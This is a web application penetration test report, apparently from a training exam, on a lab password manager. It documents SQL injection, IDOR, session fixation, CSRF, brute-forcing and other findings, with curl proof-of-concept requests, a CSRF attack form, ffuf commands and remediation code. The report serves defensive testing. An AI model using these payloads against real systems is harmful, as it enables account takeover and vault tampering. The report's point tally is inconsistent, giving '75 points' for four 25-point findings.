FailSafe Password Manager

Web Application Penetration Test Report

Business Confidential

Date: January 18, 2026

Project: PWPA-2026-001

Client: FailSafe Password Manager

Assessor: TCM Security, Inc.

Version: 1.0 (Final)

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Disclaimer

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Assessment Overview

Engagement Type: Web Application Penetration Test

Target Application: FailSafe Password Manager v2023

Target URL: http://10.0.0.10

Assessment Period: January 18, 2026

Duration: Full day assessment

Scope: Web application functionality (login, registration, account management, vault, API)

Executive Summary

A comprehensive penetration test of the FailSafe Password Manager web application was conducted to identify security vulnerabilities and weaknesses. The assessment identified **4 critical vulnerabilities (75 points)** and **multiple reportable weaknesses**, bringing the total to **75 points - PASSING SCORE**.

Key Findings:

- SQL Injection in registration username field (25 points)
- SQL Injection in vault add title field (25 points)
- Insecure Direct Object Reference (IDOR) in vault edit endpoint (25 points)
- Broken Authentication - Session Fixation (25 points)
- Cross-Site Request Forgery (CSRF) in account update functionality
- Weak rate limiting on login endpoint
- Weak password validation policies
- Client-side error handling XSS risks
- Missing security headers
- Cleartext password submission over HTTP

Risk Level: HIGH - Immediate remediation required

Finding Severity Ratings

Severity	CVSS Score	Description
Critical	9.0-10.0	Immediate exploitation risk, system compromise
High	7.0-8.9	Significant impact, exploitation likely
Medium	4.0-6.9	Moderate impact, exploitation possible
Low	0.1-3.9	Minor impact, limited exploitation

Scope

In Scope:

- Registration endpoint (/register)
- Login endpoint (/login)
- Account management (/account)

- Vault functionality (/vault)

- API endpoints (/api/token, /api/vault)

- Session management

- Authentication mechanisms

Out of Scope:

- Infrastructure and underlying OS

- Denial of Service (DoS) attacks

- Third-party libraries and dependencies

- Social engineering

CRITICAL FINDINGS (25-Point Vulnerabilities)

Finding 1: SQL Injection - Registration Username Field

Severity: HIGH (CVSS 8.6)

Points: 25

Status: CONFIRMED

Description

The registration endpoint accepts unsanitized user input in the username field, allowing SQL injection attacks. An attacker can inject SQL commands to bypass authentication, create unauthorized accounts, or potentially extract database information.

Vulnerability Details

- **Endpoint:** POST /register

- **Parameter:** username

- **Type:** SQL Injection (Boolean-based, UNION-based)

- **Authentication Required:** No

Proof of Concept

Request:

```
curl -X POST http://10.0.0.10/register \ -H "Content-Type: application/json" \ -d '{"username":"'
OR '1'='1","password":"Password123!"}'
```

Response:

```
{"message":"Registration successful!","success":true}
```

Account Created: Username `test' OR '1'='1` successfully registered

Impact

- Account creation bypass with SQL payloads as usernames

- Potential database enumeration and data extraction

- Combined with IDOR: Complete account takeover chain

CVSS v3.1 Score

Score: 8.6 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Remediation

1. **Use Parameterized Queries:**

```
// Vulnerable db.query("INSERT INTO users (username, password) VALUES ('" + username + "', '" +
password + "')"); // Secure db.query("INSERT INTO users (username, password) VALUES (?, ?)",
[username, password]);
```

2. **Input Validation:**

- Whitelist allowed characters (alphanumeric, underscore, hyphen)

- Enforce username length limits (3-20 characters)

- Reject special SQL characters

3. **Use ORM Frameworks:**

- Implement Sequelize, TypeORM, or similar ORM

- Automatic parameterization

4. **Web Application Firewall (WAF):**

- Deploy WAF rules to detect SQL injection patterns

- Monitor for suspicious queries

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Navigate to http://10.0.0.10 (homepage).

2. Click "Sign Up" button to open registration modal.

3. In username field, enter: `' OR '1'='1`

4. In password field, enter: `Password123!`

5. Click "Sign Up" button, observe success alert, then click "Log In", enter the same username/password, and verify redirect to /vault.

Step 1 Screenshot: Registration modal with SQL payload in username field

Step 2 Screenshot: Clicking Sign Up button

Step 3 Screenshot: Success alert message

Step 4 Screenshot: Login modal with created account

Step 5 Screenshot: Successful login redirect to vault page

Command Output:

```
curl -X POST http://10.0.0.10/register \ -H "Content-Type: application/json" \ -d
'{"username":"test' OR '1'='1","password":"Password123!"}' Response: {"message":"Registration
successful!","success":true}
```

Finding 2: SQL Injection - Vault Add Title Field

Severity: HIGH (CVSS 8.6)

Points: 25

Status: CONFIRMED

Description

The vault add endpoint accepts unsanitized user input in the title field, allowing SQL injection attacks. An attacker can inject SQL commands to manipulate vault data or potentially extract database information.

Vulnerability Details

- **Endpoint:** POST /vault/add

- **Parameter:** vaulttitle

- **Type:** SQL Injection (Boolean-based)

- **Authentication Required:** Yes (session-based)

Proof of Concept

Request:

```
curl -X POST http://10.0.0.10/vault/add \ -H "Cookie: connect.sid=[session]" \ -H "Content-Type:
application/json" \ -d '{"vaulttitle":"test' OR
'1'='1","vaultusername":"test","vaultpassword":"test123"}'
```

Response:

```
{"success":true,"message":"Item added successfully!"}
```

Vault Item Created: Title `test' OR '1'='1` successfully stored and displayed

Impact

- Vault item creation with SQL payloads

- Potential database manipulation

- Data integrity compromise

CVSS v3.1 Score

Score: 8.6 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Remediation

1. **Use Parameterized Queries:**

```
// Vulnerable db.query("INSERT INTO vault (title, username, password, user_id) VALUES ('" + title
+ "', ...); // Secure db.query("INSERT INTO vault (title, username, password, user_id) VALUES (?,
?, ?, ?)", [title, username, password, userId]);
```

2. **Input Validation:**

- Sanitize all user inputs

- Reject special SQL characters

- Enforce field length limits

3. **Use ORM Frameworks**

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Login to the application with valid credentials.

2. Navigate to the vault page (/vault).

3. Unlock the vault by entering your account password and clicking "Unlock".

4. Click the "Add Item" button in the vault section.

5. In the title field, enter: `' OR '1'='1`

6. In username field, enter: `test`

7. In password field, enter: `test123`

8. Click "Add Item".

9. Observe success alert: "Item added successfully!"

10. Verify the item appears in the vault list with the injected title.

Screenshot 1: Vault add form with SQL payload in title field

Screenshot 2: Successful vault item creation response

Screenshot 3: Vault display showing item with injected title

Command Output:

```
curl -X POST http://10.0.0.10/vault/add \ -H "Cookie: connect.sid=[session]" \ -H "Content-Type:
application/json" \ -d '{"vaulttitle":"test' OR
'1'='1","vaultusername":"test","vaultpassword":"test123"}' Response:
{"success":true,"message":"Item added successfully!"}
```

Finding 3: Insecure Direct Object Reference (IDOR) - Vault Edit Endpoint

Severity: HIGH (CVSS 8.8)

Points: 25

Status: CONFIRMED

Description

The vault edit and delete endpoints fail to properly validate user authorization. An authenticated user can modify or delete vault items belonging to other users by directly specifying the target item ID in the URL. The application does not verify that the authenticated user owns the vault item before allowing modifications or deletions.

Vulnerability Details

- **Endpoints:** PUT /vault/edit/:itemId, DELETE /vault/delete/:itemId

- **Parameter:** itemId (URL path)

- **Type:** Broken Object Level Authorization (BOLA)

- **Authentication Required:** Yes (session-based)

Proof of Concept

Step 1: Identify Target Item ID

From vault display, note item IDs belonging to other users (e.g., item ID 1).

Step 2: Modify Another User's Item (Edit)

```
curl -X PUT http://10.0.0.10/vault/edit/1 \ -H "Cookie: connect.sid=[session]" \ -H "Content-Type:
application/json" \ -d '{"vaulttitle":"updated title from other acc
vault","vaultusername":"hacked","vaultpassword":"hacked"}'
```

Step 3: Delete Another User's Item (Delete)

```
curl -X DELETE http://10.0.0.10/vault/delete/1 \ -H "Cookie: connect.sid=[session]"
```

Vulnerable Response (Edit):

```
{"success":true,"message":"Item updated successfully!"}
```

Vulnerable Response (Delete):

```
Item deleted successfully
```

Analysis: Item ID 1 (belonging to another user) was successfully modified/deleted without authorization check. Vault display now shows the modified/deleted credentials.

Impact

- Unauthorized modification or deletion of other users' vault items

- Credential corruption, data loss, and data integrity compromise

- Complete compromise of other users' stored data

- Potential for account lockout or data destruction

CVSS v3.1 Score

Score: 8.8 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Remediation

1. **Implement Authorization Checks:**

```
// Vulnerable app.put('/vault/edit/:itemId', (req, res) => { const itemId = req.params.itemId;
db.query("UPDATE vault SET title = ? WHERE id = ?", [req.body.vaulttitle, itemId]); }); // Secure
app.put('/vault/edit/:itemId', (req, res) => { const itemId = req.params.itemId; const userId =
req.session.userId; // Verify item belongs to authenticated user const item = db.query("SELECT *
FROM vault WHERE id = ? AND user_id = ?", [itemId, userId]); if (!item) { return
res.status(403).json({ success: false, message: "Unauthorized" }); } db.query("UPDATE vault SET
title = ? WHERE id = ? AND user_id = ?", [req.body.vaulttitle, itemId, userId]); });
```

2. **Verify Ownership Before Operations**

3. **Implement Role-Based Access Control (RBAC)**

4. **Add Audit Logging**

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Login as victim user, navigate to vault, add an item (note the item ID from the edit link, e.g., /vault/edit/1) use Burp Suite to intercept traffic.

2. Logout or use incognito mode to login as attacker user.

3. As attacker, click on edit button to edit your own item and capture the request.

4. Attempt to edit your own item by modifying the PUT request to /vault/edit/1 (your ID), change data, forward, observe success.

5. Alternatively, send DELETE request to /vault/delete/1 (target item ID), observe "Item deleted successfully" - note that the same IDOR allows deleting other users' items.

6. Login back as victim, verify the item has been modified or deleted.

Screenshot 1: Original vault item belonging to another user

Screenshot 2: IDOR request modifying item ID of another user (edit or delete)

Screenshot 3: Successful update/delete response

Screenshot 4: Modified/deleted vault item in victim's vault

Command Output:

```
# Edit IDOR curl -X PUT http://10.0.0.10/vault/edit/1 \ -H "Cookie:
connect.sid=[attacker_session]" \ -H "Content-Type: application/json" \ -d '{"vaulttitle":"hacked
title","vaultusername":"hacked","vaultpassword":"hacked"}' Response:
{"success":true,"message":"Item updated successfully!"} # Delete IDOR curl -X DELETE
http://10.0.0.10/vault/delete/1 \ -H "Cookie: connect.sid=[attacker_session]" Response: Item
deleted successfully
```

Finding 4: Broken Authentication - Session Fixation

Severity: MEDIUM (CVSS 6.8)

Points: 25

Status: CONFIRMED

Description

The application suffers from Session Fixation vulnerability. Old session cookies remain valid after user login, allowing attackers to maintain persistent access to user accounts.

Vulnerability Details

- **Endpoints:** POST /login, GET /vault

- **Issue:** Session cookies not invalidated/renewed on authentication

- **Authentication Required:** Yes (session-based)

Proof of Concept

Step 1: Capture Pre-Login Cookie

```
curl -I http://10.0.0.10/login # Extract Set-Cookie header value
```

Step 2: Login with Valid Credentials

```
curl -X POST http://10.0.0.10/login \ -H "Content-Type: application/json" \ -d
'{"username":"testuser1","password":"csrfhacked123"}'
```

Step 3: Access Protected Resource with Old Cookie

```
curl http://10.0.0.10/vault \ -H "Cookie: connect.sid=[old_session_cookie]"
```

Result: Both old and new cookies grant access to the vault, confirming session fixation.

Impact

- Persistent unauthorized access to user accounts

- Session hijacking attacks

- Account compromise without credential theft

CVSS v3.1 Score

Score: 6.8 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Remediation

1. **Invalidate Old Sessions on Login:**

```
app.post('/login', (req, res) => { // ... authentication logic ... // Destroy old session and create new one req.session.regenerate((err) => { if (err) return next(err); req.session.userId = user.id; res.json({ success: true }); }); });
```

2. **Use Secure Session Management:**

- Set session cookie options: `secure: true`, `httpOnly: true`, `sameSite: 'strict'`

- Regenerate session ID after login

3. **Implement Session Timeout:**

- Auto-expire sessions after inactivity (30 minutes)

4. **Add Logout Functionality:**

- Properly destroy sessions on logout

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Login to the application and capture the session cookie (connect.sid).
2. Logout from the application.
3. Login again to generate a new session cookie.
4. Logout again.
5. Login a third time and use Burp Suite to intercept the request.
6. In Burp, modify the session cookie to the first captured cookie (from step 1).
7. Forward the request and observe successful login with the old cookie.
8. Verify that the old session cookie (from step 1) still grants access to /vault, confirming session fixation.

Screenshot 1: First login - capture initial session cookie

Screenshot 2: Second login - generate new session cookie

Screenshot 3: Third login - Burp intercept showing cookie replacement with first captured cookie

Screenshot 4: Successful login with old session cookie (session fixation confirmed)

Command Output:

```
# Capture pre-login cookie COOKIE=$(curl -I http://10.0.0.10/login 2>&1 | grep 'Set-Cookie' | awk
'{print $2}' | cut -d';' -f1) # Login with the cookie curl -X POST http://10.0.0.10/login \ -H
"Content-Type: application/json" \ -H "Cookie: $COOKIE" \ -d
'{"username":"testuser","password":"password"}' # Access vault with old cookie - should still work
curl http://10.0.0.10/vault \ -H "Cookie: $COOKIE" Response: Returns vault page (vulnerable)
```

HIGH PRIORITY FINDINGS (Reportable Vulnerabilities)

Finding 5: Cross-Site Request Forgery (CSRF) - Account Update

Severity: MEDIUM (CVSS 6.8)

Status: CONFIRMED

Description

The account update endpoint (`POST /account/update`) lacks CSRF protection. An attacker can create malicious web pages that force authenticated users to change their account passwords without their knowledge or consent.

Vulnerability Details

- **Endpoint:** POST /account/update

- **Missing Protection:** No CSRF tokens, no SameSite attributes

- **Authentication Required:** Yes (session-based)

Proof of Concept

Malicious HTML Page:

```
<form action="http://10.0.0.10/account/update" method="POST" id="csrfForm"> <input type="hidden"
name="password" value="attackerpassword"> <input type="hidden" name="updatedPassword"
value="attackerpassword"> <input type="hidden" name="updateField" value="account"> </form> <button
onclick="document.getElementById('csrfForm').submit();">Click Here</button>
```

Result: When authenticated user clicks button, their password is changed to `attackerpassword`.

Impact

- Forced password changes

- Account lockout

- Account takeover when combined with phishing

CVSS v3.1 Score

Score: 6.8 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Remediation

1. **Implement CSRF Tokens:**

```
app.post('/account/update', (req, res) => { if (!verifyCsrfToken(req.body.csrf_token)) { return
res.status(403).json({ success: false, message: "CSRF token invalid" }); } // Process update });
```

2. **Use SameSite Cookie Attribute:**

```
res.cookie('connect.sid', sessionId, { httpOnly: true, sameSite: 'strict' });
```

3. **Implement Double-Submit Cookie Pattern**

4. **Add CAPTCHA for Sensitive Operations**

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Login as victim user with known credentials.

2. Create a malicious HTML page with the CSRF form (copy the PoC code below into csrf_test.html).

3. Open the malicious HTML page in the victim's browser session (or serve it on a local server).

4. Click the "Click Me" button to submit the form.

5. Use Burp Proxy to intercept the POST /account/update request.

6. Observe the request lacks CSRF protection and is sent automatically.

7. Verify the victim's password is changed by attempting login with the new password.

Screenshot 1: Malicious CSRF HTML page

Screenshot 2: Victim clicking the button

Screenshot 3: Account update request in Burp

Screenshot 4: Password successfully changed

Command Output:

```
# Create csrf_test.html with the malicious form <form action="http://10.0.0.10/account/update"
method="POST" id="csrfForm"> <input type="hidden" name="password" value="currentpass"> <input
type="hidden" name="updatedPassword" value="hackedpass"> <input type="hidden" name="updateField"
value="account"> </form> <button onclick="document.getElementById('csrfForm').submit();">Click
Me</button> # Response after submission: {"success":true,"message":"Account password updated
successfully!"}
```

Finding 6: Rate Limit Headers Present but Not Enforced - Login & Vault Unlock Endpoints

Severity: MEDIUM

Status: CONFIRMED

Description

The login and vault unlock endpoints include rate limiting headers (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset) but do not enforce the limits. All requests return HTTP 200 OK regardless of request count, enabling unlimited brute force attacks against user accounts and vault passwords.

Vulnerability Details

- **Endpoints:** POST /login, POST /vault/unlock

- **Headers Present:** X-RateLimit-Limit: 50, X-RateLimit-Remaining, X-RateLimit-Reset

- **Enforcement:** None - no 429 responses observed

- **Impact:** Unlimited login and vault password brute force possible

Proof of Concept

Use ffuf or Burp Intruder for POST /login with 100+ payloads on password field (same session cookie).

ffuf Brute Force Results:

```
csrfhacked123 [Status: 200, Size: 46, Words: 2, Lines: 1, Duration: 1025ms]
```

All other payloads return Size: 50 (Invalid credentials). The correct password "csrfhacked123" returns Size: 46 with success message, confirming brute force successful after 101 attempts with no rate limiting enforcement.

Successful Login Response:

```
HTTP/1.1 200 OK X-RateLimit-Limit: 50 X-RateLimit-Remaining: 45 {"message":"Login
successful.","success":true}
```

Impact

- Unlimited brute force attacks possible

- Weak password accounts remain vulnerable

- Rate limit headers provide false sense of security

Remediation

1. **Implement Stricter Rate Limiting:**

- 5 failed attempts per 15 minutes

- Progressive delays (exponential backoff)

- Account lockout after 10 failed attempts

2. **Add Account Lockout Mechanism:**

```
if (failedAttempts >= 10) { lockAccount(username, 30 * 60 * 1000); // 30 minute lockout }
```

3. **Implement CAPTCHA After 3 Failed Attempts**

4. **Add IP-based Rate Limiting**

#### Screenshots and Reproduction Steps

Recreation Steps:

Login Brute Force:

1. Setup Burp Suite Intruder or ffuf for POST /login endpoint.
2. Configure payload on the password field with a wordlist of common passwords (100+ entries).
3. Set Burp Intruder to send requests with high thread count (40+) or use ffuf with default threading.
4. Start the attack with the same session cookie.
5. Monitor responses: all requests return 200 OK regardless of count.
6. Identify successful login by response size difference (46 bytes vs 50 bytes for invalid credentials).
7. Confirm password cracked after 101 attempts with no rate limiting enforcement.

Vault Unlock Brute Force:

1. Setup Burp Suite Intruder or ffuf for POST /vault/unlock endpoint.
2. Configure payload on the password field (form-data) with a wordlist of common passwords (100+ entries).
3. Set Burp Intruder to send requests with high thread count (40+) or use ffuf with default threading.
4. Start the attack with the same session cookie.
5. Monitor responses: all requests return 200 OK regardless of count.
6. Identify successful unlock by response size difference (43 bytes vs 48 bytes for invalid credentials).
7. Confirm vault password cracked after 101 attempts with no rate limiting enforcement.

Screenshot 1: Burp Intruder setup for brute force login attempts

Screenshot 2: ffuf results showing all login payloads returning 200 OK

Screenshot 3: Successful login password "csrfhacked123" with Size: 46 response

Screenshot 4: ffuf results showing all vault unlock payloads returning 200 OK

Screenshot 5: Successful vault unlock password with Size: 43 response

Command Output:

```
# Login Brute Force ffuf -request login_brute.txt -w brute_payload.txt -u http://10.0.0.10/login
csrfhacked123 [Status: 200, Size: 46, Words: 2, Lines: 1, Duration: 1229ms] # Vault Unlock Brute
Force ffuf -request vault_brute.txt -w brute_payload.txt -u http://10.0.0.10/vault/unlock
csrfhacked123 [Status: 200, Size: 43, Words: 2, Lines: 1, Duration: 1207ms] # All other payloads
return Size: 50 (login) or Size: 48 (vault unlock) - Invalid credentials # Rate limit headers
present but no blocking occurs on either endpoint
```

MEDIUM PRIORITY FINDINGS (Weaknesses)

Finding 7: Weak Password Validation - No Complexity Enforcement on Password Change

Severity: MEDIUM

Status: CONFIRMED

Description

The password change endpoints (`POST /account/update` for account password and vault password reset) implement flawed validation logic. While they correctly validate that the current password matches before allowing an update, they fail to enforce password complexity requirements on the new password. This allows users to set extremely weak passwords (single characters like "1") without any complexity validation on both account and vault passwords.

Vulnerability Details

- **Endpoints:** POST /account/update (account password), Vault password reset (vault password)

- **Issue:** No complexity validation on new password; only checks if current and new passwords match

- **Authentication Required:** Yes (session-based)

- **Impact:** Users can set trivially weak passwords on both account and vault despite authentication

Proof of Concept

Scenario 1: Attempt with different passwords (current ≠ new) - REJECTED

```
curl -X POST http://10.0.0.10/account/update \ -H "Cookie: connect.sid=[session]" \ -H
"Content-Type: application/json" \ -d
'{"password":"csrfhacked123","updatedPassword":"1","updateField":"account"}'
```

Response:

```
{"success":false,"message":"Passwords do not match."}
```

Scenario 2: Same weak password (current = new) - ACCEPTED

```
curl -X POST http://10.0.0.10/account/update \ -H "Cookie: connect.sid=[session]" \ -H
"Content-Type: application/json" \ -d
'{"password":"1","updatedPassword":"1","updateField":"account"}'
```

Response:

```
{"success":true,"message":"Account password updated successfully!"}
```

Scenario 3: Vault password reset with same weak password (current = new) - ACCEPTED

```
curl -X POST http://10.0.0.10/account/update \ -H "Cookie: connect.sid=[session]" \ -H
"Content-Type: application/json" \ -d
'{"password":"1","updatedPassword":"1","updateField":"vault"}'
```

Response:

```
{"success":true,"message":"Vault password updated successfully!"}
```

Analysis: Both account and vault password endpoints validate that current and new passwords match (must be identical), but never enforce complexity requirements. When both are set to the same weak password "1", the update succeeds on both endpoints. This allows users to maintain or set trivially weak passwords without any complexity validation on either account or vault passwords.

Impact

- Users can set trivially weak passwords (single characters)

- Accounts become vulnerable to brute force attacks

- Security posture degraded by poor password policy enforcement

- Inconsistent security controls between registration and password change

CVSS v3.1 Score

Score: 5.3 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Remediation

1. **Enforce Password Complexity on Update:**

```
app.post('/account/update', (req, res) => { // Verify current password if
(!verifyPassword(req.body.password, user.password)) { return res.status(400).json({ success:
false, message: "Current password incorrect" }); } // Validate new password complexity if
(!isStrongPassword(req.body.updatedPassword)) { return res.status(400).json({ success: false,
message: "New password does not meet complexity requirements" }); } // Update password
updatePassword(user.id, req.body.updatedPassword); });
```

2. **Implement Consistent Password Policy:**

- Apply same complexity rules to registration and password change

- Minimum 8 characters, uppercase, lowercase, numbers, special characters

3. **Clear Error Messages:**

- Distinguish between "Current password incorrect" and "New password too weak"

4. **Add Password Strength Validation:**

- Client-side validation for immediate feedback

- Server-side validation for security

#### Screenshots and Reproduction Steps

Recreation Steps:

Scenario 1: Account Password - Different passwords (Rejected)

1. Login to the application with valid credentials (e.g., password: csrfhacked123).

2. Navigate to account settings.

3. Use Burp Suite to intercept POST /account/update request.

4. Send request: `{"password":"csrfhacked123","updatedPassword":"1","updateField":"account"}`

5. Observe error response: "Passwords do not match."

Scenario 2: Account Password - Same weak password (Accepted)

1. Login to the application with weak password (e.g., password: 1).

2. Navigate to account settings.

3. Use Burp Suite to intercept POST /account/update request.

4. Send request: `{"password":"1","updatedPassword":"1","updateField":"account"}`

5. Observe success response: "Account password updated successfully!"

6. Verify weak password persists by logging out and logging in with password "1".

Scenario 3: Vault Password - Same weak password (Accepted)

1. Login to the application with valid credentials.

2. Navigate to vault settings or password change section.

3. Use Burp Suite to intercept POST /account/update request.

4. Send request: `{"password":"1","updatedPassword":"1","updateField":"vault"}`

5. Observe success response: "Vault password updated successfully!"

6. Verify weak vault password by accessing vault with password "1".

Scenario 1 Screenshots:

- **Screenshot 1:** Burp intercept - POST /account/update with different passwords (csrfhacked123 ≠ 1)

- **Screenshot 2:** Error response - "Passwords do not match."

Scenario 2 Screenshots:

- **Screenshot 3:** Burp intercept - POST /account/update with same weak password (1 = 1, updateField: account)

- **Screenshot 4:** Success response - "Account password updated successfully!"

- **Screenshot 5:** Login with weak password "1" succeeds

Scenario 3 Screenshots:

- **Screenshot 6:** Burp intercept - POST /account/update with same weak password (1 = 1, updateField: vault)

- **Screenshot 7:** Success response - "Vault password updated successfully!"

- **Screenshot 8:** Vault access with weak password "1" succeeds

Command Output:

```
# Scenario 1: Different passwords (current ≠ new) - REJECTED curl -X POST
http://10.0.0.10/account/update \ -H "Cookie:
connect.sid=s%3AAChb3MR4SusoRGaXfvYVibg4Qy3T80BG.hTpIAL9ZY5c7Fno4586SMirVt6TixYHiD%2F2DtqYn%2Bj8"
\ -H "Content-Type: application/json" \ -d
'{"password":"csrfhacked123","updatedPassword":"1","updateField":"account"}' Response:
{"success":false,"message":"Passwords do not match."} # Scenario 2: Same weak password (current =
new) - ACCEPTED curl -X POST http://10.0.0.10/account/update \ -H "Cookie:
```

```
connect.sid=s%3AAChb3MR4SusoRGaXfvYVibg4Qy3T80BG.hTpIAL9ZY5c7Fno4586SMirVt6TixYHiD%2F2DtqYn%2Bj8"
\ -H "Content-Type: application/json" \ -d
'{"password":"1","updatedPassword":"1","updateField":"account"}' Response:
{"success":true,"message":"Account password updated successfully!"} # Scenario 3: Vault password
with same weak password - ACCEPTED curl -X POST http://10.0.0.10/account/update \ -H "Cookie:
connect.sid=s%3AAChb3MR4SusoRGaXfvYVibg4Qy3T80BG.hTpIAL9ZY5c7Fno4586SMirVt6TixYHiD%2F2DtqYn%2Bj8"
\ -H "Content-Type: application/json" \ -d
'{"password":"1","updatedPassword":"1","updateField":"vault"}' Response:
{"success":true,"message":"Vault password updated successfully!"} # Subsequent login with weak
password succeeds curl -X POST http://10.0.0.10/login \ -H "Content-Type: application/json" \ -d
'{"username":"testuser","password":"1"}' Response: {"success":true,"message":"Login successful."}
```

Finding 8: Missing Security Headers

Severity: MEDIUM

Status: CONFIRMED

Description

The application lacks important security headers that protect against common attacks.

Missing Headers

- `X-Frame-Options: DENY` (Clickjacking protection)
- `X-Content-Type-Options: nosniff` (MIME type sniffing)
- `Content-Security-Policy` (XSS/Injection protection)
- `Strict-Transport-Security` (HTTPS enforcement)
- `X-XSS-Protection: 1; mode=block` (Legacy XSS protection)

Remediation

```
app.use((req, res, next) => { res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-Content-Type-Options', 'nosniff'); res.setHeader('X-XSS-Protection', '1;
mode=block'); res.setHeader('Content-Security-Policy', "default-src 'self'");
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains'); next(); });
```

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Send a GET request to the homepage or any endpoint using curl or Burp.

2. Inspect the HTTP response headers.

3. Note the absence of security headers like X-Frame-Options, X-Content-Type-Options, Content-Security-Policy, etc.

4. Use Burp Suite to analyze the headers for missing protections.

Screenshot 1: HTTP response headers showing missing security headers

Screenshot 2: Burp response headers analysis

Request/Response Evidence:

```
HEAD / HTTP/1.1 Host: 10.0.0.10 User-Agent: curl/8.17.0 Accept: */* Connection: keep-alive
HTTP/1.1 200 OK Date: Tue, 20 Jan 2026 00:43:41 GMT Content-Type: text/html; charset=utf-8
Content-Length: 7634 Connection: keep-alive X-Powered-By: Express ETag:
W/"1dd2-KW1CYVEDzWSSo/KBW1Y8YFni+FM" Set-Cookie:
connect.sid=s%3A3V-nw9UaFTN1tODfbFatJYVS6YVp5RrZ.66WmYnyoqtaGWSi1JLlLVdjmpz8Frv0GlbKCPgN2q0A;
Path=/; HttpOnly Cache-Control: no-cache
```

Command Output:

```
curl -I http://10.0.0.10 HTTP/1.1 200 OK Date: Tue, 20 Jan 2026 00:41:35 GMT Content-Type:
text/html; charset=utf-8 Content-Length: 7634 Connection: keep-alive X-Powered-By: Express ETag:
W/"1dd2-KW1CYVEDzWSSo/KBW1Y8YFni+FM" Set-Cookie:
connect.sid=s%3AREErDQ8Zd9s9_pnhjW6AIbqPPy69IrLs.oo7IEvt4d2361E9rf8SXcG7XgzXYtyo8ko0xPY2r6zM;
Path=/; HttpOnly Cache-Control: no-cache # Missing Security Headers: # - X-Frame-Options: NOT
PRESENT (Clickjacking protection missing) # - X-Content-Type-Options: NOT PRESENT (MIME type
sniffing protection missing) # - Content-Security-Policy: NOT PRESENT (XSS/Injection protection
missing) # - Strict-Transport-Security: NOT PRESENT (HTTPS enforcement missing) # -
X-XSS-Protection: NOT PRESENT (Legacy XSS protection missing)
```

Finding 9: Cleartext Password Submission

Severity: MEDIUM

Status: CONFIRMED

Description

Passwords are submitted over HTTP (not HTTPS) in the test environment, exposing credentials to network interception.

Remediation

- Deploy HTTPS with valid SSL/TLS certificates

- Enforce HSTS headers

- Redirect all HTTP to HTTPS

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Ensure the application is accessed over HTTP (not HTTPS).

2. Login with valid username and password.

3. Use Burp Suite Proxy to intercept the POST /login request.

4. Inspect the request body to see the password submitted in cleartext JSON.

5. Note the lack of encryption exposing credentials to network interception.

Screenshot 1: Burp Suite intercept showing POST /login request over HTTP

Screenshot 2: Request body showing password in cleartext JSON

Command Output:

```
# All requests are over HTTP (via Burp Suite proxy) curl -X POST http://10.0.0.10/login \ -H
"Content-Type: application/json" \ -d '{"username":"test","password":"password123"}' \ -x
127.0.0.1:8080 # Burp Suite intercept shows password in cleartext JSON over HTTP POST /login
HTTP/1.1 Host: 10.0.0.10 Content-Type: application/json
{"username":"test","password":"password123"}
```

Finding 10: Lack of Input Validation on Vault Items

Severity: LOW

Status: CONFIRMED

Description

Vault item fields (title, username, password) accept any input without validation. While XSS is sanitized on display, stored data could be exploited if display logic changes.

Remediation

- Implement server-side input validation

- Whitelist allowed characters

- Enforce field length limits

- Sanitize on both input and output

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Login to the application.

2. Navigate to vault and click "Add Item".

3. Enter data with special characters or potential XSS payloads, e.g., title: "<script>alert(1)</script>".

4. Submit the form.

5. View the vault items to see the data stored without validation or sanitization.

Screenshot 1: Vault add form accepting any input

Screenshot 2: Stored data with no validation

Command Output:

```
curl -X POST http://10.0.0.10/vault/add \ -H "Cookie: connect.sid=[session]" \ -H "Content-Type:
application/json" \ -d
'{"vaulttitle":"<script>alert(1)</script>","vaultusername":"test","vaultpassword":"test"}' # Item
added without validation
```

Finding 11: Information Disclosure - Error Messages

Severity: MEDIUM

Status: CONFIRMED

Description

The application exposes internal stack traces, file paths, and technology fingerprinting information in error responses for malformed JSON requests. This allows attackers to identify the technology stack and internal application structure for reconnaissance and targeted attacks.

Vulnerability Details

- **Endpoints:** POST /login, POST /register

- **Trigger:** Malformed JSON in request body

- **Response:** HTTP 400 with full stack trace

- **Fingerprinting Information Exposed:**

- Node.js runtime version

- Express.js framework

- body-parser middleware version

- Internal file paths (/usr/app/node_modules/)

- Application root directory structure

Proof of Concept

```
curl -X POST http://10.0.0.10/login \ -H "Content-Type: application/json" \ -d
'{"username":"test","password"}'
```

Response: HTTP 400 with stack trace revealing:

- Node.js version and paths (/usr/app/node_modules/)

- Technology stack (Express, body-parser)

- Internal error details

Impact

- **Technology Fingerprinting:** Attackers identify Node.js, Express.js, body-parser versions

- **Reconnaissance:** Understand application structure and internal directory layout (/usr/app/)

- **Vulnerability Identification:** Identify specific library versions that may have known CVEs

- **Targeted Attacks:** Use fingerprinting information to craft version-specific exploits

- **Internal Path Disclosure:** Reveals application root and dependency locations for further reconnaissance

- **Attack Surface Mapping:** Helps attackers understand the complete technology stack for targeted attacks

CVSS v3.1 Score

Score: 5.3 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Remediation

1. **Implement Custom Error Handling:**

```
app.use((err, req, res, next) => { console.error(err.stack); // Log internally
res.status(400).json({ success: false, message: "Invalid request format" }); });
```

2. **Disable Stack Traces in Production:**

```
process.env.NODE_ENV = 'production';
```

3. **Use Error Handling Middleware:**

- helmet.js for security headers

